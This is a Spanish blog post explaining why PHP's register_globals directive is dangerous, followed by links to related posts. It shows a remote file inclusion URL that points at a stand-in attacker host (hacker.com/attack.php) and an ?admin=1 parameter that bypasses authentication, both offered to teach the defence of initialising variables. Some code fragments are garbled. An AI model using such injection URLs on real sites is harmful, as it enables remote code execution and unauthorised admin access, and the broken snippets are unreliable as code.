20 de abril de 2015

register_globals() en PHP...porque no?

El primer paso antes de validar cualquier datos de entrada, es comprobar que la directiva register_globals este desactivada. Desde PHP 5.3 fue declarada obsoleta y a partir de la versión 5.4 fue eliminada. Pero hay que tener cuidado si se usa una versión de PHP anterior. Por lo que podemos usar la función phpinfo() para que nos diga si esta a activada o no. El tener activa esta directiva ocasiona problemas graves de seguridad. Cuando register_globals está definida a “On” dentro del php.ini, se permitiría que un usuario cualquiera pudiera inicializar una variable remotamente. Y esto es un peligro en combinación con de la naturaleza de PHP que no obliga a inicializar las variables. Vamos a ver como la no inicialización de variables, combinada con la directiva mencionada, puede provocar que una simple 'inclusión' sea un gran peligro de seguridad. En este ejemplo la no inicialización del parámetro utilizado para incluir archivos podría terminar en una ejecución arbitraria de archivos localizados local y remotamente. Este simple código podía ser inseguro si la directiva register_globals esta activada, ya que un atacante podría introducir la siguiente URL http://www.ejemplo.com/index.php?archivo=http://www.hacker.com/attack.php. Y de esta manera el archivo http://www.hacker.com/attack.php será incluido y ejecutado en el servidor. Otro ejemplo podría ser: isAdmin() ){ $admin = TRUE; } if ( $admin ) { } ?> Ahora pensemos en que pasaría si en URI introducimos ?admin=1 y tenemos la directiva register_globals activa. Pues sí, que nos podríamos identificar como admin. Por eso en las versiones actuales de PHP se elimino esta directiva, que en principio estaba pensada para ahorrar esfuerzo a los desarrolladores. Una solución y una buena practica de programación, tanto si esta la directiva register_globals o no, es inicializar las variables. En nuestro ejemplo tendríamos que inicializar $admin = false antes de la primera condición.

Related Posts:

  • register_globals() en PHP...porque no?El primer paso antes de validar cualquier datos de entrada, es comprobar que la directiva register_globals este desactivada. Desde PHP 5.3 fue declarada obsoleta y a partir de la versión 5.4 fue eliminada. Pero hay que tener … Read More
  • XSS (Cross-site scripting) PHPSeguridad PHP - Cross Site Scripting (XSS) Es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado y validación en los campos de entrada. Permitiendo así el envío de scripts completos (como Visual Basic Script… Read More
  • file_get_contents() y file_put_contents() en PHPfile_get_contents() se utiliza para obtener archivos desde PHP y es equivalente a usar fopen(), fgets() y fclose() por lo que es la manera abreviada y preferida de transmitir el contenido de un fichero a una cadena. Usa técn… Read More
  • PHP PDO Singleton CRUDLo primero es crear la clase Singleton que implementara el patrón de diseño Singleton que servirá para asegurarnos de crear una instancia de clase única, estas características las utilizaremos para conectarnos a la base de da… Read More
  • Patrón Dependency InjectionRobert C. Martin afirma en el Principio de Inyección de Dependencias: A. Las clases de alto nivel no deberían depender de las clases de bajo nivel. Ambas deberían depender de las abstracciones. B. Las abstracciones no deber… Read More